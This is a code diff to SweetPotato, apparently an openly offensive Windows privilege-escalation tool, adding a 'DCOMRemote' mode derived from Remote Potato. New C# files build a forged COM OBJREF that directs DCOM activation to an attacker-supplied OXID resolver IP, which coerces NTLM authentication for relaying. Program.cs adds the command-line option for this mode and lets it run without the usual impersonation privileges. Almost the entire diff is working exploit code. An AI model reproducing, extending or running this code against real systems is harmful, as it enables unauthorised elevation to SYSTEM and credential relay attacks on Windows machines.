diff --git a/PotatoAPI.cs b/PotatoAPI.cs index e3c50d7..a9dc820 100644 --- a/PotatoAPI.cs +++ b/PotatoAPI.cs @@ -24,10 +24,12 @@ internal class PotatoAPI { Guid clsId; readonly int port; Mode mode; + string oxidResolverIp; volatile bool dcomComplete = false; public enum Mode { DCOM, + DCOMRemote, WinRM, EfsRpc, PrintSpoofer @@ -47,12 +49,12 @@ public IntPtr Token { EventWaitHandle readyEvent = new EventWaitHandle(false, EventResetMode.AutoReset); - public PotatoAPI(Guid clsId, ushort port, Mode mode) { + public PotatoAPI(Guid clsId, ushort port, Mode mode, string oxidResolverIp = "") { this.clsId = clsId; this.port = port; this.mode = mode; - + this.oxidResolverIp = oxidResolverIp; switch (mode) { case Mode.DCOM: StartCOMListenerThread(); @@ -236,6 +238,19 @@ public bool Trigger() { result = negotiator.Authenticated; break; + case Mode.DCOMRemote: + + Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out lockBytes); + Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out storage); + RemoteStorageTrigger remoteStorageTrigger = new RemoteStorageTrigger(storage, string.Format("{0}", oxidResolverIp), TowerProtocol.EPM_PROTOCOL_TCP); + + qis = new Ole32.MULTI_QI[1]; + qis[0].pIID = Ole32.IID_IUnknownPtr; + + Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, remoteStorageTrigger, 1, qis); + result = negotiator.Authenticated; + break; + case Mode.WinRM: Type comType = Type.GetTypeFromCLSID(clsId); diff --git a/Program.cs b/Program.cs index 2443879..480a26f 100644 --- a/Program.cs +++ b/Program.cs @@ -23,11 +23,13 @@ static void Main(string[] args) { PotatoAPI.Mode mode = PotatoAPI.Mode.PrintSpoofer; bool showHelp = false; bool isBITSRequired = false; + string oxidResolverIp = ""; Console.WriteLine( "SweetPotato by @_EthicalChaos_\n" + " Orignal RottenPotato code and exploit by @foxglovesec\n" + - " Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery\n" + + " Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery\n" + + " Remote Potato by @decoder_it and @splinter_code\n" + " PrintSpoofer discovery and original exploit by @itm4n\n" + " EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam" ); @@ -37,10 +39,10 @@ static void Main(string[] args) { .Add("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod = v) .Add("p=|prog=", "Program to launch (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) - .Add("e=|exploit=", "Exploit mode [DCOM|WinRM|EfsRpc|PrintSpoofer(default)] ", v => mode = v) + .Add("e=|exploit=", "Exploit mode [DCOM|DCOMRemote|WinRM|EfsRpc|PrintSpoofer(default)] ", v => mode = v) .Add("l=|listenPort=", "COM server listen port (default 6666)", v => port = v) - .Add("h|help", "Display this help", v => showHelp = v != null); - + .Add("h|help", "Display this help", v => showHelp = v != null) + .Add("oip=|oxidResolverIp=", "oxid resolver ip address", v => oxidResolverIp = v); try { option_set.Parse(args); @@ -62,7 +64,7 @@ static void Main(string[] args) { bool hasPrimary = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME); bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME); - if(!hasImpersonate && !hasPrimary) { + if(!hasImpersonate && !hasPrimary && mode != PotatoAPI.Mode.DCOMRemote) { Console.WriteLine("[!] Cannot perform interception, necessary privileges missing. Are you running under a Service account?"); return; } @@ -79,12 +81,21 @@ static void Main(string[] args) { Console.WriteLine($"[+] Attempting NP impersonation using method PrintSpoofer to launch {program}"); } else if (mode == PotatoAPI.Mode.EfsRpc) { Console.WriteLine($"[+] Attempting NP impersonation using method EfsRpc to launch {program}"); - } else { + } else if (mode == PotatoAPI.Mode.DCOMRemote) + { + Console.WriteLine("[+] Attempting DCOM NTLM relaying with CLSID {0} on ip {1}", clsId, oxidResolverIp); + } + else { Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}", isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 : port, executionMethod, program); } + PotatoAPI potatoAPI = null; + if (oxidResolverIp.Length > 0 && mode == PotatoAPI.Mode.DCOMRemote){ + potatoAPI = new PotatoAPI(new Guid(clsId), port, mode, oxidResolverIp); + } + else + potatoAPI = new PotatoAPI(new Guid(clsId), port, mode); - PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, mode); if (!potatoAPI.Trigger()) { Console.WriteLine("[!] No authenticated interception took place, exploit failed"); diff --git a/README.md b/README.md index cf67c7b..9399068 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ SweetPotato by @_EthicalChaos_ -m, --method=VALUE Auto,User,Thread (default Auto) -p, --prog=VALUE Program to launch (default cmd.exe) -a, --args=VALUE Arguments for program (default null) - -e, --exploit=VALUE Exploit mode [DCOM|WinRM|PrintSpoofer(default)] + -e, --exploit=VALUE Exploit mode [DCOM|DCOMRemote|WinRM|PrintSpoofer(default)] -l, --listenPort=VALUE COM server listen port (default 6666) -h, --help Display this help -``` \ No newline at end of file +``` diff --git a/RemoteObjRef.cs b/RemoteObjRef.cs new file mode 100644 index 0000000..3ea87b8 --- /dev/null +++ b/RemoteObjRef.cs @@ -0,0 +1,218 @@ +using System; +using System.IO; +using System.Text; + +namespace SweetPotato +{ + + internal class RemoteObjRef + { + + [Flags] + enum Type : uint + { + Standard = 0x1, + Handler = 0x2, + Custom = 0x4 + } + + const uint Signature = 0x574f454d; + public readonly Guid Guid; + public readonly Standard StandardObjRef; + + public RemoteObjRef(Guid guid, Standard standardObjRef) + { + Guid = guid; + StandardObjRef = standardObjRef; + } + + public RemoteObjRef(byte[] objRefBytes) + { + + BinaryReader br = new BinaryReader(new MemoryStream(objRefBytes), Encoding.Unicode); + + if (br.ReadUInt32() != Signature) + { + throw new InvalidDataException("Does not look like an OBJREF stream"); + } + + uint flags = br.ReadUInt32(); + Guid = new Guid(br.ReadBytes(16)); + + if ((Type)flags == Type.Standard) + { + StandardObjRef = new Standard(br); + } + } + + public byte[] GetBytes() + { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + + bw.Write(Signature); + bw.Write((uint)1); + bw.Write(Guid.ToByteArray()); + + StandardObjRef.Save(bw); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + internal class SecurityBinding + { + + public readonly ushort AuthnSvc; + public readonly ushort AuthzSvc; + public readonly string PrincipalName; + + public SecurityBinding(ushort authnSvc, ushort authzSnc, string principalName) + { + AuthnSvc = authnSvc; + AuthzSvc = authzSnc; + PrincipalName = principalName; + } + + public SecurityBinding(BinaryReader br) + { + + AuthnSvc = br.ReadUInt16(); + AuthzSvc = br.ReadUInt16(); + char character; + string principalName = ""; + + while ((character = br.ReadChar()) != 0) + { + principalName += character; + } + + br.ReadChar(); + } + + + public byte[] GetBytes() + { + BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode); + + bw.Write(AuthnSvc); + bw.Write(AuthzSvc); + + if (PrincipalName != null && PrincipalName.Length > 0) + bw.Write(Encoding.Unicode.GetBytes(PrincipalName)); + + bw.Write((char)0); + bw.Write((char)0); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + } + + internal class StringBinding + { + public readonly TowerProtocol TowerID; + public readonly string NetworkAddress; + + public StringBinding(TowerProtocol towerID, string networkAddress) + { + TowerID = towerID; + NetworkAddress = networkAddress; + } + + public StringBinding(BinaryReader br) + { + TowerID = (TowerProtocol)br.ReadUInt16(); + char character; + string networkAddress = ""; + + while ((character = br.ReadChar()) != 0) + { + networkAddress += character; + } + + br.ReadChar(); + NetworkAddress = networkAddress; + } + + internal byte[] GetBytes() + { + BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode); + + bw.Write((ushort)TowerID); + bw.Write(Encoding.Unicode.GetBytes(NetworkAddress)); + bw.Write((char)0); + bw.Write((char)0); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + } + + internal class DualStringArray + { + private readonly ushort NumEntries; + private readonly ushort SecurityOffset; + public readonly StringBinding StringBinding; + public readonly SecurityBinding SecurityBinding; + + public DualStringArray(StringBinding stringBinding, SecurityBinding securityBinding) + { + NumEntries = (ushort)((stringBinding.GetBytes().Length + securityBinding.GetBytes().Length) / 2); + SecurityOffset = (ushort)(stringBinding.GetBytes().Length / 2); + + StringBinding = stringBinding; + SecurityBinding = securityBinding; + } + + public DualStringArray(BinaryReader br) + { + NumEntries = br.ReadUInt16(); + SecurityOffset = br.ReadUInt16(); + + StringBinding = new StringBinding(br); + SecurityBinding = new SecurityBinding(br); + } + + internal void Save(BinaryWriter bw) + { + + byte[] stringBinding = StringBinding.GetBytes(); + byte[] securityBinding = SecurityBinding.GetBytes(); + + bw.Write((ushort)((stringBinding.Length + securityBinding.Length) / 2)); + bw.Write((ushort)(stringBinding.Length / 2)); + bw.Write(stringBinding); + bw.Write(securityBinding); + } + } + + internal class Standard + { + + public readonly uint Flags; + public readonly uint PublicRefs; + public readonly Guid IPID; + public readonly DualStringArray DualStringArray; + + public Standard(uint flags, uint publicRefs, DualStringArray dualStringArray) + { + Flags = flags; + PublicRefs = publicRefs; + DualStringArray = dualStringArray; + } + + public Standard(BinaryReader br) + { + Flags = br.ReadUInt32(); + PublicRefs = br.ReadUInt32(); + + DualStringArray = new DualStringArray(br); + } + + internal void Save(BinaryWriter bw) + { + bw.Write(Flags); + bw.Write(PublicRefs); + bw.Write(Guid.NewGuid().ToByteArray()); + bw.Write(Guid.NewGuid().ToByteArray()); + DualStringArray.Save(bw); + } + } + } +} diff --git a/RemoteStorageTrigger.cs b/RemoteStorageTrigger.cs new file mode 100644 index 0000000..0d62525 --- /dev/null +++ b/RemoteStorageTrigger.cs @@ -0,0 +1,149 @@ +using System; +using System.Runtime.InteropServices; + +namespace SweetPotato +{ + + [ComVisible(true)] + internal class RemoteStorageTrigger : IMarshal, IStorage + { + + private IStorage storage; + private string binding; + private TowerProtocol towerProtocol; + + public RemoteStorageTrigger(IStorage storage, string binding, TowerProtocol towerProtocol) + { + this.storage = storage; + this.binding = binding; + this.towerProtocol = towerProtocol; + } + + public void DisconnectObject(uint dwReserved) + { + } + + public void GetMarshalSizeMax(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out uint pSize) + { + pSize = 1024; + } + + public void GetUnmarshalClass(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out Guid pCid) + { + pCid = new Guid("00000306-0000-0000-c000-000000000046"); + } + + public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS) + { + + RemoteObjRef objRef = new RemoteObjRef(Ole32.IID_IUnknown, + new RemoteObjRef.Standard(0x0000, 1, + new RemoteObjRef.DualStringArray(new RemoteObjRef.StringBinding(towerProtocol, binding), new RemoteObjRef.SecurityBinding(0xa, 0xffff, null)))); + + uint written; + byte[] data = objRef.GetBytes(); + /* + byte[] data_0 = new byte[32]; + Array.Copy(data, data_0, 32); + var rnd = new Random(); + var random_ipid = new byte[32]; + rnd.NextBytes(random_ipid); + var total_length = (binding.Length * 2 + 6 + 8) / 2; + var sec_offset = (binding.Length * 2 + 6) / 2; + byte[] data_4 = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00 }; + byte[] data_1 = new byte[4]; + data_1[0] = Convert.ToByte(total_length); + data_1[1] = Convert.ToByte(0); + data_1[2] = Convert.ToByte(sec_offset); + data_1[3] = Convert.ToByte(0); + var size = data_0.Length + random_ipid.Length + data_1.Length + binding.Length * 2 + 1 + data_4.Length; + */ + pstm.Write(data, (uint)data.Length, out written); + } + + public void ReleaseMarshalData(IStream pstm) + { + } + + public void UnmarshalInterface(IStream pstm, ref Guid riid, out IntPtr ppv) + { + ppv = IntPtr.Zero; + } + + public void Commit(uint grfCommitFlags) + { + storage.Commit(grfCommitFlags); + } + + public void CopyTo(uint ciidExclude, Guid[] rgiidExclude, IntPtr snbExclude, IStorage pstgDest) + { + storage.CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); + } + + public void CreateStorage(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStorage ppstg) + { + storage.CreateStorage(pwcsName, grfMode, reserved1, reserved2, out ppstg); + } + + public void CreateStream(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStream ppstm) + { + storage.CreateStream(pwcsName, grfMode, reserved1, reserved2, out ppstm); + } + + public void DestroyElement(string pwcsName) + { + storage.DestroyElement(pwcsName); + } + + public void EnumElements(uint reserved1, IntPtr reserved2, uint reserved3, out IEnumSTATSTG ppEnum) + { + storage.EnumElements(reserved1, reserved2, reserved3, out ppEnum); + } + + public void MoveElementTo(string pwcsName, IStorage pstgDest, string pwcsNewName, uint grfFlags) + { + storage.MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); + } + + public void OpenStorage(string pwcsName, IStorage pstgPriority, uint grfMode, IntPtr snbExclude, uint reserved, out IStorage ppstg) + { + storage.OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, out ppstg); + } + + public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out IStream ppstm) + { + storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm); + } + + public void RenameElement(string pwcsOldName, string pwcsNewName) + { + + } + + public void Revert() + { + + } + + public void SetClass(ref Guid clsid) + { + + } + + public void SetElementTimes(string pwcsName, FILETIME[] pctime, FILETIME[] patime, FILETIME[] pmtime) + { + + } + + public void SetStateBits(uint grfStateBits, uint grfMask) + { + } + + public void Stat(STATSTG[] pstatstg, uint grfStatFlag) + { + storage.Stat(pstatstg, grfStatFlag); + pstatstg[0].pwcsName = "hello.stg"; + } + } +} + diff --git a/StorageTrigger.cs b/StorageTrigger.cs index 18966cf..9114295 100644 --- a/StorageTrigger.cs +++ b/StorageTrigger.cs @@ -35,6 +35,22 @@ public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDest uint written; byte[] data = objRef.GetBytes(); + /* + byte[] data_0 = new byte[32]; + Array.Copy(data, data_0, 32); + var rnd = new Random(); + var random_ipid = new byte[32]; + rnd.NextBytes(random_ipid); + var total_length = (binding.Length * 2 + 6 + 8) / 2; + var sec_offset = (binding.Length * 2 + 6) / 2; + byte[] data_4 = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00 }; + byte[] data_1 = new byte[4]; + data_1[0] = Convert.ToByte(total_length); + data_1[1] = Convert.ToByte(0); + data_1[2] = Convert.ToByte(sec_offset); + data_1[3] = Convert.ToByte(0); + var size = data_0.Length + random_ipid.Length + data_1.Length + binding.Length * 2 + 1 + data_4.Length; + */ pstm.Write(data, (uint)data.Length, out written); } diff --git a/SweetPotato.csproj b/SweetPotato.csproj index 00c14ff..7d76967 100644 --- a/SweetPotato.csproj +++ b/SweetPotato.csproj @@ -93,6 +93,8 @@ + + @@ -113,11 +115,4 @@ - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - \ No newline at end of file